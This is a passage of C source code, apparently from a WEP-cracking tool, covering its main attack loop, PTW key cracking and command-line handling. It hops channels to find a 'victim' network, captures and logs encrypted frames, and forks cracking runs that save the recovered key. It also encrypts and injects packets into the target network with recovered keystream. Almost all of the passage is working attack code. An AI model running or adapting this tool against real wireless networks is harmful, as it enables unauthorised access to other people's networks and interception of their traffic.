2128         fd = open(KEY_FILE, O_WRONLY | O_CREAT | 0644);
2129         if (fd == -1)
2130                 err(1, "open()");
2131
2132         printf("\nKey: %s\n", k);
2133         rd = write(fd, k, strlen(k));
2134         if (rd == -1)
2135                 err(1, "write()");
2136         if (rd != strlen(k))
2137                 errx(1, "write %d/%d\n", rd, strlen(k));
2138         close(fd);
2139 }
2140
2141 #define KEYLIMIT (1000000)
2142 int do_crack(void)
2143 {
2144         unsigned char key[PTW_KEYHSBYTES];
2145
2146         if(PTW_computeKey(ptw, key, 13, KEYLIMIT) == 1) {
2147                 save_key(key, 13);
2148                 return 1;
2149         }
2150         if(PTW_computeKey(ptw, key, 5, KEYLIMIT/10) == 1) {
2151                 save_key(key, 5);
2152                 return 1;
2153         }
2154
2155         return 0;
2156 }
2157
2158 void try_crack() {
2159         if (crack_pid) {
2160                 printf("\n");
2161                 time_print("Warning... previous crack still running!\n");
2162                 kill_crack();
2163         }       
2164
2165         if (weplog.fd) {
2166                 if (fsync(weplog.fd) == -1)
2167                         err(1, "fsync");
2168         }
2169
2170         crack_pid = fork();
2171
2172         if (crack_pid == -1)
2173                 err(1, "fork");
2174
2175         // child
2176         if (crack_pid == 0) {
2177                 if (!do_crack())
2178                         printf("\nCrack unsuccessful\n");
2179                 exit(1);
2180         } 
2181
2182         // parent
2183         printf("\n");
2184         time_print("Starting crack PID=%d\n", crack_pid);
2185         if (gettimeofday(&crack_start, NULL) == -1)
2186                 err(1, "gettimeofday");
2187
2188         
2189         wep_thresh += thresh_incr;
2190 }
2191
2192 void open_tap() {
2193         struct stat st;
2194         int s;
2195         struct ifreq ifr;
2196         unsigned int flags;
2197         
2198         tapfd = open(TAP_DEV, O_RDWR);
2199         if (tapfd == -1) {
2200                 printf("Can't open tap: %s\n", strerror(errno));
2201                 exit(1);
2202         }
2203         if(fstat(tapfd, &st) == -1) {
2204                 perror("fstat()");
2205                 exit(1);
2206         }
2207
2208         // feer
2209         strcpy(tapdev, devname(st.st_rdev, S_IFCHR));
2210
2211         s = socket(PF_INET, SOCK_DGRAM, 0);
2212         if (s == -1) {
2213                 perror("socket()");
2214                 exit(1);
2215         }
2216         
2217         // MTU
2218         memset(&ifr, 0, sizeof(ifr));
2219         strcpy(ifr.ifr_name, tapdev);
2220         ifr.ifr_mtu = 1500;
2221         if (ioctl(s, SIOCSIFMTU, &ifr) == -1) {
2222                 perror("ioctl(SIOCSIFMTU)");
2223                 exit(1);
2224         }
2225
2226         // set iface up
2227         memset(&ifr, 0, sizeof(ifr));
2228         strcpy(ifr.ifr_name, tapdev);
2229         if (ioctl(s, SIOCGIFFLAGS, &ifr) == -1) {
2230                 perror("ioctl(SIOCGIFFLAGS)");
2231                 exit(1);
2232         }
2233
2234         flags = (ifr.ifr_flags & 0xffff) | (ifr.ifr_flagshigh << 16);
2235         flags |= IFF_UP;
2236         
2237         memset(&ifr, 0, sizeof(ifr));
2238         strcpy(ifr.ifr_name, tapdev);
2239         ifr.ifr_flags = flags & 0xffff;
2240         ifr.ifr_flagshigh = flags >> 16;
2241         if (ioctl(s, SIOCSIFFLAGS, &ifr) == -1) {
2242                 perror("ioctl(SIOCSIFFLAGS)");
2243                 exit(1);
2244         }
2245
2246         close(s);
2247         time_print("Opened tap device: %s\n", tapdev);
2248 }
2249
2250 void read_tap() {
2251         unsigned char buf[4096];
2252         struct ether_header* eh;
2253         struct ieee80211_frame* wh;
2254         int rd;
2255         unsigned char* ptr, *body;
2256         int dlen;
2257
2258         rd = read(tapfd, buf, sizeof(buf));
2259         if (rd == -1) {
2260                 perror("read()");
2261                 exit(1);
2262         }
2263         dlen = rd - sizeof(*eh);
2264
2265         assert(dlen > 0);
2266
2267         if (dlen+8 > prgainfo.len) {
2268                 printf("\n");
2269                 // XXX lame message...
2270                 time_print("Sorry... want to send %d but only got %d prga\n",
2271                            dlen, prgainfo.len);
2272                 return;    
2273
2274         }
2275
2276         if (taptx_len) {
2277                 printf("\n");
2278                 time_print("Sorry... overflow in TAP queue [of 1 packet =P] overwriting\n");
2279                 // XXX could not read instead and get rid of it in select...
2280         }
2281
2282         assert (rd < (sizeof(buf)-sizeof(*wh) - 8 - 8));
2283
2284         eh = (struct ether_header*) buf;
2285
2286         wh = (struct ieee80211_frame*) taptx;
2287         memset(wh, 0, sizeof(*wh));
2288         fill_basic(wh);
2289
2290         wh->i_fc[0] |= IEEE80211_FC0_TYPE_DATA;
2291         wh->i_fc[1] |= IEEE80211_FC1_WEP | IEEE80211_FC1_DIR_TODS;
2292
2293         memcpy(wh->i_addr2, eh->ether_shost, 6);
2294         memcpy(wh->i_addr3, eh->ether_dhost, 6);
2295
2296         body = (unsigned char*) wh + sizeof(*wh);
2297         ptr = body;
2298         ptr += 4; // iv
2299
2300         do_llc(ptr, ntohs(eh->ether_type));
2301         ptr += 8;
2302
2303         memcpy(ptr, &buf[sizeof(*eh)], dlen);
2304
2305         wepify(body, 8+dlen); 
2306         taptx_len = sizeof(*wh) + 4 + 8 + dlen + 4;
2307
2308         assert (taptx_len < sizeof(taptx));
2309 }
2310
2311 int elapsedd(struct timeval *past, struct timeval *now)
2312 {
2313         int el;
2314  
2315         el = now->tv_sec - past->tv_sec;
2316         assert(el >= 0);
2317         if (el == 0) {
2318                 el = now->tv_usec - past->tv_usec;
2319         } else {
2320                 el = (el - 1)*1000*1000; 
2321                 el += 1000*1000-past->tv_usec;
2322                 el += now->tv_usec;
2323         }
2324         
2325         return el;
2326 }       
2327
2328 static unsigned char *get_80211(unsigned char **data, int *totlen, int *plen)
2329 {             
2330 #define BIT(n)  (1<<(n))
2331         struct bpf_hdr *bpfh;
2332         struct ieee80211_radiotap_header *rth;
2333         uint32_t present;
2334         uint8_t rflags;
2335         void *ptr;
2336         static int nocrc = 0;
2337         
2338         assert(*totlen);
2339            
2340         /* bpf hdr */
2341         bpfh = (struct bpf_hdr*) (*data);
2342         assert(bpfh->bh_caplen == bpfh->bh_datalen); /* XXX */
2343         *totlen -= bpfh->bh_hdrlen;
2344         
2345         /* check if more packets */
2346         if ((int)bpfh->bh_caplen < *totlen) {
2347                 int tot = bpfh->bh_hdrlen + bpfh->bh_caplen;
2348                 int offset = BPF_WORDALIGN(tot);
2349                 
2350                 *data = (char*)bpfh + offset;
2351                 *totlen -= offset - tot; /* take into account align bytes */
2352         } else if ((int)bpfh->bh_caplen > *totlen)
2353                 abort();
2354
2355         *plen = bpfh->bh_caplen;
2356         *totlen -= bpfh->bh_caplen;
2357         assert(*totlen >= 0);
2358
2359         /* radiotap */
2360         rth = (struct ieee80211_radiotap_header*)
2361               ((char*)bpfh + bpfh->bh_hdrlen);
2362         /* XXX cache; drivers won't change this per-packet */
2363         /* check if FCS/CRC is included in packet */
2364         present = le32toh(rth->it_present);
2365         if (present & BIT(IEEE80211_RADIOTAP_FLAGS)) {
2366                 if (present & BIT(IEEE80211_RADIOTAP_TSFT))
2367                         rflags = ((const uint8_t *)rth)[8];
2368                 else    
2369                         rflags = ((const uint8_t *)rth)[0];
2370         } else  
2371                 rflags = 0;
2372         *plen -= rth->it_len;
2373         assert(*plen > 0);
2374
2375         /* 802.11 CRC */
2376         if (nocrc || (rflags & IEEE80211_RADIOTAP_F_FCS)) {
2377                 *plen -= IEEE80211_CRC_LEN;
2378                 nocrc = 1;
2379         }
2380         
2381         ptr = (char*)rth + rth->it_len;
2382
2383         return ptr;
2384 #undef BIT
2385 }
2386
2387 static int read_packet(int fd, unsigned char *dst, int len)
2388 {
2389         static unsigned char buf[4096];
2390         static int totlen = 0;
2391         static unsigned char *next = buf;
2392         unsigned char *pkt;
2393         int plen;
2394         
2395         assert(len > 0);
2396
2397         /* need to read more */
2398         if (totlen == 0) {
2399                 totlen = read(fd, buf, sizeof(buf));
2400                 if (totlen == -1) {
2401                         totlen = 0;
2402                         return -1;
2403                 }
2404                 next = buf;
2405         }
2406         
2407         /* read 802.11 packet */
2408         pkt = get_80211(&next, &totlen, &plen);
2409         if (plen > len)
2410                 plen = len;
2411         assert(plen > 0);
2412         memcpy(dst, pkt, plen);
2413
2414         return plen;
2415 }
2416
2417 void own(int wifd) {
2418         unsigned char buf[4096];
2419         int rd;
2420         fd_set rfd;
2421         struct timeval tv;
2422         char *pbar = "/-\\|";
2423         char *pbarp = &pbar[0];
2424         struct timeval lasthop;
2425         struct timeval now;
2426         unsigned int last_wep_count = 0;
2427         struct timeval last_wcount;
2428         struct timeval last_status;
2429         int fd;
2430         int largest;
2431
2432         weplog.fd = open(WEP_FILE, O_WRONLY | O_APPEND);
2433         if (weplog.fd == -1) {
2434                 struct pcap_file_header pfh;
2435
2436                 memset(&pfh, 0, sizeof(pfh));
2437                 pfh.magic           = TCPDUMP_MAGIC;
2438                 pfh.version_major   = PCAP_VERSION_MAJOR;
2439                 pfh.version_minor   = PCAP_VERSION_MINOR;
2440                 pfh.thiszone        = 0;
2441                 pfh.sigfigs         = 0;
2442                 pfh.snaplen         = 65535;
2443                 pfh.linktype        = LINKTYPE_IEEE802_11;
2444                 
2445                 weplog.fd = open(WEP_FILE, O_WRONLY | O_CREAT,
2446                                  S_IRUSR | S_IWUSR | S_IRGRP | S_IROTH);
2447                 if (weplog.fd != -1) {
2448                         if (write(weplog.fd, &pfh, sizeof(pfh)) != sizeof(pfh))
2449                                 err(1, "write()");
2450                 }
2451         }
2452         else {
2453                 time_print("WARNING: Appending in %s\n", WEP_FILE);
2454         }
2455
2456         if (weplog.fd == -1) {
2457                 perror("open()");
2458                 exit(1);
2459         }
2460
2461         fd = open(PRGA_FILE, O_RDONLY);
2462         if (fd != -1) {
2463                 time_print("WARNING: reading prga from %s\n", PRGA_FILE);
2464                 rd = read(fd, buf, sizeof(buf));
2465                 if (rd == -1) {
2466                         perror("read()");
2467                         exit(1);
2468                 }
2469                 if (rd >= 8) {
2470                         set_prga(buf, NULL, &buf[3], rd - 3);
2471                 }
2472
2473                 close(fd);
2474         }
2475
2476         fd = open(DICT_PATH, O_RDONLY);
2477         if (fd == -1) {
2478                 time_print("Creating dictionary directory (%s)\n", DICT_PATH);
2479                 if (mkdir (DICT_PATH, 0755) == -1) {
2480                         perror("mkdir()");
2481                         exit(1);
2482                 }
2483         }
2484         else
2485                 close(fd);
2486
2487         open_tap();
2488         set_if_mac(mymac, tapdev);
2489         time_print("Set tap MAC to: %s\n", mac2str(mymac));
2490
2491         if (tapfd > wifd)
2492                 largest = tapfd;
2493         else
2494                 largest = wifd;
2495
2496         if (signal(SIGINT, &cleanup) == SIG_ERR) {
2497                 perror("signal()");
2498                 exit(1);
2499         }
2500         if (signal (SIGTERM, &cleanup) == SIG_ERR) {
2501                 perror("signal()");
2502                 exit(1);
2503         }
2504
2505         time_print("Looking for a victim...\n");
2506         if (gettimeofday(&lasthop, NULL) == -1) {
2507                 perror("gettimeofday()");
2508                 exit(1);
2509         }
2510
2511         memcpy(&last_wcount, &lasthop, sizeof(last_wcount));
2512         memcpy(&last_status, &lasthop, sizeof(last_status));
2513
2514         while (1) {
2515                 if (gettimeofday(&now, NULL) == -1) {
2516                         perror("gettimeofday()");
2517                         exit(1);
2518                 }
2519
2520                 /* check for relay timeout */
2521                 if (fragstate.waiting_relay) {
2522                         int el;
2523
2524                         el = now.tv_sec - fragstate.last.tv_sec;
2525                         assert (el >= 0);
2526                         if (el == 0) {
2527                                 el = now.tv_usec - fragstate.last.tv_usec;
2528                         } else {
2529                                 el--;
2530
2531                                 el *= 1000*1000;
2532                                 el += 1000*1000 - fragstate.last.tv_usec;
2533                                 el += now.tv_usec;
2534
2535                                 if (el > (1500*1000)) {
2536 //                                      printf("\nLAMER timeout\n\n");
2537                                         free(fragstate.data);
2538                                         fragstate.data = 0;
2539                                 }
2540                         }
2541                 }
2542
2543                 /* check for arp timeout */
2544                 if (rtrmac == (unsigned char*) 1) {
2545                         int el;
2546
2547                         el = elapsedd(&arpsend, &now);
2548                         if (el >= (1500*1000)) {
2549                                 rtrmac = 0;
2550                         }
2551                 }
2552                 
2553                 // status bar
2554                 if ( (now.tv_sec > last_status.tv_sec ) ||
2555                      ( now.tv_usec - last_status.tv_usec > 100*1000)) {
2556                         if (crack_pid && (now.tv_sec > last_status.tv_sec)) {
2557                                 check_key();
2558                         }
2559                         if (netip && prgainfo.len >= min_prga && 
2560                             rtrmac > (unsigned char*) 1) {
2561                                 time_print("WEP=%.9d (next crack at %d) IV=%.2x:%.2x:%.2x (rate=%d)         \r", 
2562                                        weplog.packets, wep_thresh, 
2563                                        weplog.iv[0], weplog.iv[1], weplog.iv[2],
2564                                        weplog.rate);
2565                                 fflush(stdout);
2566                         }
2567                         else {
2568                                 if (state == FIND_VICTIM)
2569                                         time_print("Chan %.02d %c\r", chaninfo.chan, *pbarp);
2570                                 else if (decryptstate.cipher) {
2571                                         int pos = decryptstate.prgainfo.len - 1;
2572                                         unsigned char prga = decryptstate.prgainfo.prga[pos];
2573                                         assert(pos);
2574
2575                                         time_print("Guessing PRGA %.2x (IP byte=%d)    \r",
2576                                                    prga, decryptstate.cipher[pos] ^ prga);
2577                                 }
2578                                 else
2579                                         time_print("%c\r", *pbarp);
2580                                 fflush(stdout);
2581                         }
2582                         memcpy(&last_status, &now,sizeof(last_status)); 
2583                 }
2584
2585                 // check if we are cracking
2586                 if (crack_pid) {
2587                         if (now.tv_sec - crack_start.tv_sec >= crack_dur)
2588                                 kill_crack();
2589                 }
2590
2591                 // check TX  / retransmit
2592                 if (txstate.waiting_ack) {
2593                         unsigned int elapsed = now.tv_sec -
2594                                                txstate.tsent.tv_sec;
2595                         elapsed *= 1000*1000;
2596                         elapsed += (now.tv_usec - txstate.tsent.tv_usec);
2597
2598                         if (elapsed >= ack_timeout)
2599                                 send_frame(wifd, NULL, -1);
2600                 }
2601
2602                 // INPUT
2603                 // select
2604                 FD_ZERO(&rfd);
2605                 FD_SET(wifd, &rfd);
2606                 FD_SET(tapfd, &rfd);
2607                 tv.tv_sec = 0;
2608                 tv.tv_usec = 1000*10;
2609                 rd = select(largest+1, &rfd, NULL, NULL, &tv);
2610                 if (rd == -1) {
2611                         perror("select()");
2612                         exit(1);
2613                 }
2614
2615                 // read
2616                 if (rd != 0) {
2617                         // wifi
2618                         if (FD_ISSET(wifd, &rfd)) {
2619                                 rd = read_packet(wifd, buf, sizeof(buf));
2620                                 if (rd == 0)
2621                                         return;
2622                                 if (rd == -1) {
2623                                         perror("read()");
2624                                         exit(1);
2625                                 }
2626
2627                                 pbarp++;
2628                                 if(!(*pbarp))
2629                                         pbarp = &pbar[0];
2630                                 // input
2631                                 anal(buf, rd, wifd);
2632                         }
2633
2634                         // tap
2635                         if (FD_ISSET(tapfd, &rfd)) {
2636                                 read_tap();
2637                         }
2638                 }
2639
2640                 // check state and what we do next.
2641                 if (state == FIND_VICTIM) {
2642                         if (now.tv_sec > lasthop.tv_sec ||
2643                             ( (now.tv_usec - lasthop.tv_usec) >= 300*1000 )) {
2644                                 int chan = chaninfo.chan;
2645                                 chan++;
2646
2647                                 if(chan > max_chan)
2648                                         chan = 1;
2649                                 
2650                                 set_chan(chan);
2651                                 memcpy(&lasthop, &now, sizeof(lasthop));
2652                         }    
2653                 } else {
2654                 // check if we need to write something...       
2655                         if (!txstate.waiting_ack)
2656                                 can_write(wifd);
2657
2658                         // roughly!
2659
2660 #ifdef MORE_ACCURATE                    
2661                         if ( (now.tv_sec - last_wcount.tv_sec) >= 2) {
2662                                 unsigned int elapsed;
2663                                 int secs;
2664                                 int packetz = weplog.packets - last_wep_count;
2665                                 elapsed = 1000*1000;
2666
2667                                 elapsed -= last_wcount.tv_usec;
2668                                 
2669                                 assert(elapsed >= 0);
2670                                 elapsed += now.tv_usec;
2671
2672                                 secs = now.tv_sec - last_wcount.tv_sec;
2673                                 secs--;
2674                                 if (secs > 0)
2675                                         elapsed += (secs*1000*1000);
2676
2677                                 weplog.rate = (int)
2678                                 ((double)packetz/(elapsed/1000.0/1000.0));      
2679 #else
2680                         if ( now.tv_sec > last_wcount.tv_sec) {
2681                                 weplog.rate = weplog.packets - last_wep_count;
2682 #endif                          
2683                                 last_wep_count = weplog.packets;
2684                                 memcpy(&last_wcount, &now, sizeof(now));
2685
2686                                 if (wep_thresh != -1 && weplog.packets > wep_thresh)
2687                                         try_crack();
2688                         }
2689                 }
2690         }
2691 }
2692
2693 void start(char *dev) {
2694         int fd;
2695
2696         setup_if(dev);
2697
2698         fd = open_bpf(dev, DLT_IEEE802_11_RADIO);
2699
2700         ptw = PTW_newattackstate();
2701         if (!ptw)
2702                 err(1, "PTW_newattackstate()");
2703
2704         own(fd);
2705
2706 #if 0
2707         {
2708                 int i;
2709                 struct timeval tv;
2710                 set_chan(11);
2711                 for (i = 0; i < 10; i++) {
2712                         gettimeofday(&tv, NULL);
2713
2714                         send_ack(tx);
2715 //                      usleep(500);
2716                         printf("%lu\n", tv.tv_usec);
2717                 }       
2718         }       
2719 #endif
2720
2721         close(fd);
2722 }
2723
2724 void usage(char* pname) {
2725         printf("Usage: %s <opts>\n", pname);
2726         printf("-h\t\tthis lame message\n");
2727         printf("-i\t\t<iface>\n");
2728         printf("-s\t\t<flood server ip>\n");
2729         printf("-m\t\t<my ip>\n");
2730         printf("-n\t\t<net ip>\n");
2731         printf("-r\t\t<rtr mac>\n");
2732         printf("-a\t\t<mymac>\n");
2733         printf("-c\t\tdo not crack\n");
2734         printf("-p\t\t<min prga>\n");
2735         printf("-4\t\t64 bit key\n");
2736         printf("-v\t\tvictim mac\n");
2737         printf("-t\t\t<crack thresh>\n");
2738         printf("-f\t\t<max chan>\n");
2739         exit(0);
2740 }
2741
2742 void str2mac(unsigned char* dst, unsigned char* mac) {
2743         unsigned int macf[6];
2744         int i;
2745
2746         if( sscanf(mac, "%x:%x:%x:%x:%x:%x",
2747                    &macf[0], &macf[1], &macf[2],
2748                    &macf[3], &macf[4], &macf[5]) != 6) {
2749
2750                    printf("can't parse mac %s\n", mac);
2751                    exit(1);
2752         }     
2753
2754         for (i = 0; i < 6; i++)
2755                 *dst++ = (unsigned char) macf[i];
2756 }
2757
2758 int main(int argc, char *argv[]) {
2759         unsigned char* dev = "ath0";
2760         unsigned char rtr[6];
2761         unsigned char vic[6];
2762
2763         int ch;
2764
2765         if (gettimeofday(&real_start, NULL) == -1) {
2766                 perror("gettimeofday()");
2767                 exit(1);
2768         }
2769
2770         chaninfo.s = -1;
2771         victim.ssid = 0;
2772         prgainfo.len = 0;
2773
2774         memset(&txstate, 0, sizeof(txstate));
2775         memset(&fragstate, 0, sizeof(fragstate));
2776         memset(&decryptstate, 0, sizeof(decryptstate));
2777         memset(&weplog, 0, sizeof(weplog));
2778
2779         state = FIND_VICTIM;
2780
2781         while ((ch = getopt(argc, argv, "hi:s:m:r:a:n:cp:4v:t:f:")) != -1) {
2782                 switch (ch) {
2783                         case 'a':
2784                                 str2mac(mymac, optarg);
2785                                 break;
2786
2787                         case 's':
2788                                 floodip = optarg;
2789                                 break;
2790
2791                         case 'i':
2792                                 dev = optarg;
2793                                 break;
2794
2795                         case 'm':
2796                                 strncpy(myip, optarg, sizeof(myip)-1);
2797                                 myip[sizeof(myip)-1] = 0;
2798                                 break;
2799
2800                         case 'n':
2801                                 netip = optarg;
2802                                 netip_arg = 1;
2803                                 break;
2804
2805                         case 'r':
2806                                 str2mac(rtr, optarg);
2807                                 rtrmac = rtr;
2808                                 break;
2809
2810                         case 'v':
2811                                 str2mac(vic, optarg);
2812                                 victim_mac = vic;
2813                                 break;
2814
2815                         case 'c':
2816                                 wep_thresh = -1;
2817                                 break;
2818
2819                         case 'p':
2820                                 min_prga = atoi(optarg);
2821                                 break;
2822
2823                         case 't':
2824                                 thresh_incr = wep_thresh = atoi(optarg);
2825                                 break;
2826
2827                         case 'f':
2828                                 max_chan = atoi(optarg);
2829                                 break;
2830
2831                         case '4':
2832                                 bits = 64;
2833                                 break;
2834                         
2835                         default:
2836                                 usage(argv[0]);
2837                                 break;
2838                 }
2839         }
2840
2841         start(dev);
2842         
2843         if(chaninfo.s != -1)
2844                 close(chaninfo.s);
2845         if(victim.ssid)
2846                 free(victim.ssid);
2847         exit(0);
2848 }